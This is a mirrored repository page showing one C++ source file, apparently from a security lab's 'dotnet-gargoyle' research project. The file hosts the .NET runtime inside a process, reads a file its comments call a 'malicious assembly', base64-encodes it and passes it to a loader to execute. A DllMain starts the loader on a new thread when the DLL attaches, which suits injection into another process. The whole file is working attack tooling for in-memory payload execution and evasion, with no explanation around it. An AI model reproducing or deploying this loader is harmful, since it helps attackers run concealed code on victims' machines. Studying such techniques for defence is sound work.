mirror of
https://github.com/WithSecureLabs/dotnet-gargoyle
synced 2026-06-21 13:46:26 +00:00
124 lines
3.6 KiB
C++
124 lines
3.6 KiB
C++
#include <windows.h>
|
|
#include <metahost.h>
|
|
#include <conio.h>
|
|
#include <stdint.h>
|
|
#include <stdlib.h>
|
|
#include <stdio.h>
|
|
#pragma comment(lib, "mscoree.lib")
|
|
|
|
|
|
static char encoding_table[] = {
|
|
'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
|
|
'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
|
|
'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
|
|
'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
|
|
'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
|
|
'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
|
|
'w', 'x', 'y', 'z', '0', '1', '2', '3',
|
|
'4', '5', '6', '7', '8', '9', '+', '/' };
|
|
static char *decoding_table = NULL;
|
|
static int mod_table[] = { 0, 2, 1 };
|
|
|
|
|
|
char *base64_encode(const unsigned char *data,
|
|
size_t input_length,
|
|
size_t *output_length) {
|
|
|
|
*output_length = 4 * ((input_length + 2) / 3);
|
|
|
|
char *encoded_data = (char*)calloc(*output_length, sizeof(char));
|
|
if (encoded_data == NULL) return NULL;
|
|
|
|
for (unsigned int i = 0, j = 0; i < input_length;) {
|
|
|
|
uint32_t octet_a = i < input_length ? (unsigned char)data[i++] : 0;
|
|
uint32_t octet_b = i < input_length ? (unsigned char)data[i++] : 0;
|
|
uint32_t octet_c = i < input_length ? (unsigned char)data[i++] : 0;
|
|
|
|
uint32_t triple = (octet_a << 0x10) + (octet_b << 0x08) + octet_c;
|
|
|
|
encoded_data[j++] = encoding_table[(triple >> 3 * 6) & 0x3F];
|
|
encoded_data[j++] = encoding_table[(triple >> 2 * 6) & 0x3F];
|
|
encoded_data[j++] = encoding_table[(triple >> 1 * 6) & 0x3F];
|
|
encoded_data[j++] = encoding_table[(triple >> 0 * 6) & 0x3F];
|
|
}
|
|
|
|
for (int i = 0; i < mod_table[input_length % 3]; i++)
|
|
encoded_data[*output_length - 1 - i] = '=';
|
|
|
|
encoded_data[*output_length] = '\0';
|
|
|
|
return encoded_data;
|
|
}
|
|
|
|
|
|
DWORD WINAPI RunDotNet(LPVOID lpvParam)
|
|
{
|
|
HRESULT hr;
|
|
ICLRMetaHost *pMetaHost = NULL;
|
|
ICLRRuntimeInfo *pRuntimeInfo = NULL;
|
|
ICLRRuntimeHost *pClrRuntimeHost = NULL;
|
|
|
|
// build runtime
|
|
hr = CLRCreateInstance(CLSID_CLRMetaHost, IID_PPV_ARGS(&pMetaHost));
|
|
hr = pMetaHost->GetRuntime(L"v4.0.30319", IID_PPV_ARGS(&pRuntimeInfo));
|
|
hr = pRuntimeInfo->GetInterface(CLSID_CLRRuntimeHost,
|
|
IID_PPV_ARGS(&pClrRuntimeHost));
|
|
|
|
// start runtime
|
|
hr = pClrRuntimeHost->Start();
|
|
|
|
// convert malicious assembly to base64-encoded byte stream
|
|
FILE *fileptr;
|
|
char *buffer;
|
|
long filelen;
|
|
size_t outputlen;
|
|
|
|
_wfopen_s(&fileptr, L"DemoAssembly.dll", L"rb"); // Open the file in binary mode
|
|
fseek(fileptr, 0, SEEK_END); // Jump to the end of the file
|
|
filelen = ftell(fileptr); // Get the current byte offset in the file
|
|
rewind(fileptr); // Jump back to the beginning of the file
|
|
|
|
buffer = (char *)calloc((filelen + 1), sizeof(char)); // Enough memory for file + \0
|
|
fread(buffer, filelen, 1, fileptr); // Read in the entire file
|
|
fclose(fileptr); // Close the file
|
|
char *char_base64contents = base64_encode((unsigned char*)buffer, filelen, &outputlen);
|
|
LPCWSTR lpcwstr_base64_contents = (LPCWSTR)calloc(outputlen + 1, sizeof(wchar_t));
|
|
mbstowcs_s(&outputlen, (wchar_t*)lpcwstr_base64_contents, outputlen + 1, char_base64contents, outputlen);
|
|
|
|
// execute managed assembly
|
|
DWORD pReturnValue;
|
|
hr = pClrRuntimeHost->ExecuteInDefaultAppDomain(
|
|
L"AssemblyLoader.dll",
|
|
L"AssemblyLoader",
|
|
L"StartTimer",
|
|
lpcwstr_base64_contents,
|
|
&pReturnValue);
|
|
|
|
return 0;
|
|
}
|
|
|
|
BOOL WINAPI DllMain(
|
|
__in HINSTANCE hinstDLL,
|
|
__in DWORD fdwReason,
|
|
__in LPVOID lpvReserved
|
|
) {
|
|
switch (fdwReason) {
|
|
case DLL_PROCESS_ATTACH:
|
|
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)RunDotNet, NULL, 0, NULL);
|
|
break;
|
|
case DLL_PROCESS_DETACH:
|
|
break;
|
|
case DLL_THREAD_ATTACH:
|
|
break;
|
|
case DLL_THREAD_DETACH:
|
|
break;
|
|
}
|
|
return TRUE;
|
|
}
|
|
|
|
int wmain(int argc, wchar_t *argv[])
|
|
{
|
|
RunDotNet(NULL);
|
|
_getch();
|
|
} |